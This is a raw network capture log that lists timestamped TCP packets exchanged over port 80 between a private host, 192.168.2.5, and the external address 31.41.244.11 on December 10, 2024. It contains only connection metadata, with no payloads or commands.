Dec 10, 2024 05:10:11.063894987 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.066962004 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.067013025 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.067081928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.067131042 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.070164919 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.070220947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.070259094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.070307016 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.073391914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.073441029 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.073450089 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.073497057 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.076690912 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.076741934 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.076932907 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.076981068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.079852104 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.079905987 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.080080032 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.080126047 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.083043098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.083097935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.083147049 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.083194971 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.086297035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.086349010 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.086379051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.086425066 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.090173960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.090224981 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.090826035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.090898991 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.092719078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.092736006 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.092777967 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.095926046 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.095977068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.096009016 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.096051931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.099267960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.099342108 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.099500895 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.099549055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.103398085 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.103410006 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.103461027 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.106337070 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.106348991 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.106412888 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.108917952 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.108988047 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.109463930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.109522104 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.112025976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.112081051 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.112114906 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.112162113 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.115241051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.115304947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.115355968 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.115401030 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.118468046 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.118519068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.118576050 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.118622065 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.121669054 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.121732950 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.121784925 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.121829987 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.124877930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.124934912 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.124974012 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.125017881 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.128098965 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.128180027 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.128200054 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.128243923 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.131320000 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.131371975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.131434917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.131529093 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.134531975 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.134615898 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.134617090 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.134715080 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.137746096 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.137836933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.137860060 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.137883902 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.214706898 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.214770079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.214833021 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.214885950 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.215996981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.216048956 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.216106892 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.216156006 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.218661070 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.218753099 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.218785048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.218822956 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.222907066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.222920895 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.222953081 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.222971916 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.224221945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.224272013 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.224358082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.224399090 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.226804972 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.226856947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.226984024 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.227032900 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.229305029 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.229324102 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.229361057 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.229376078 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.231666088 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.231678963 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.231725931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.234201908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.234214067 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.234255075 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.234272957 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.236399889 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.236453056 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.236535072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.236577988 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.238750935 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.238806963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.238941908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.238987923 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.240945101 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.240956068 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.241003990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.243249893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.243264914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.243340969 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.243340969 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.245266914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.245313883 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.245491982 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.245534897 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.247504950 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.247575998 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.247607946 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.247648001 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.249609947 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.249629021 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.249660969 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.249682903 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.251966953 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.251979113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.252017021 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.252032995 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.253914118 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.253956079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.253998041 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.254040956 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.256623983 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.256634951 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.256692886 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.258096933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.258155107 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.258227110 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.258270025 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.260215998 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.260274887 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.260778904 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.260821104 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.262540102 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.262586117 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.262790918 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.262835026 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.264883041 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.264926910 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.265059948 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.265100002 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.266896009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.266906977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.266958952 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.266993999 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.268632889 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.268687963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.268805981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.268850088 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.270817041 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.270828962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.270862103 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.270879984 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.273092985 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.273106098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.273144007 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.274578094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.274637938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.274725914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.274775982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.276828051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.276840925 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.276890993 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.278641939 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.278691053 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.278721094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.278767109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.280733109 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.280792952 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.280864000 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.280909061 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.283168077 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.283225060 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.283307076 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.283358097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.285100937 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.285152912 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.285396099 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.285443068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.287276030 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.287339926 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.287461042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.287507057 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.289269924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.289284945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.289319038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.289339066 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.290930033 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.290971994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.292407036 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.292458057 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.293641090 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.293653011 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.293682098 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.293699980 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.295052052 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.295113087 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.295197010 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.295241117 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.296997070 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.297055960 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.297210932 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.297255993 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.299007893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.299058914 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.299098015 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.299141884 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.301453114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.301465988 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.301506042 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.301520109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.303363085 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.303375959 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.303432941 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.305151939 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.305205107 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.305247068 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.305296898 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.307714939 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.307729006 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.307785034 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.309200048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.309256077 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.309292078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.309340954 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.311475039 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.311487913 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.311532021 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.313302994 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.313349962 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.313417912 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.313463926 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.315812111 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.315824032 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.315860987 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.317610025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.317624092 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.317701101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.319432974 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.319488049 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.319523096 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.319566011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.321465015 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.321507931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.321512938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.321544886 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.406990051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.407069921 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.407164097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.407779932 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.407836914 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.407860041 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.407907009 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.409331083 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.409384012 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.409444094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.409497023 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.410814047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.410862923 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.410902977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.410949945 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.412386894 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.412445068 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.412492037 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.413947105 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.413996935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.414000034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.414043903 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.415488958 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.415671110 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.415716887 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.417105913 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.417152882 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.417347908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.417395115 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.418500900 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.418540955 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.418548107 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.418585062 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.419987917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.420109987 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.420159101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.421464920 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.421511889 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.421607018 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.421659946 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.422945976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.423190117 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.423249006 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.424381018 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.424433947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.424536943 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.424587011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.425872087 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.425924063 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.426008940 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.426057100 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.427228928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.427335978 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.427382946 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.428600073 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.428644896 CET	49833	80	192.168.2.5	31.41.244.11
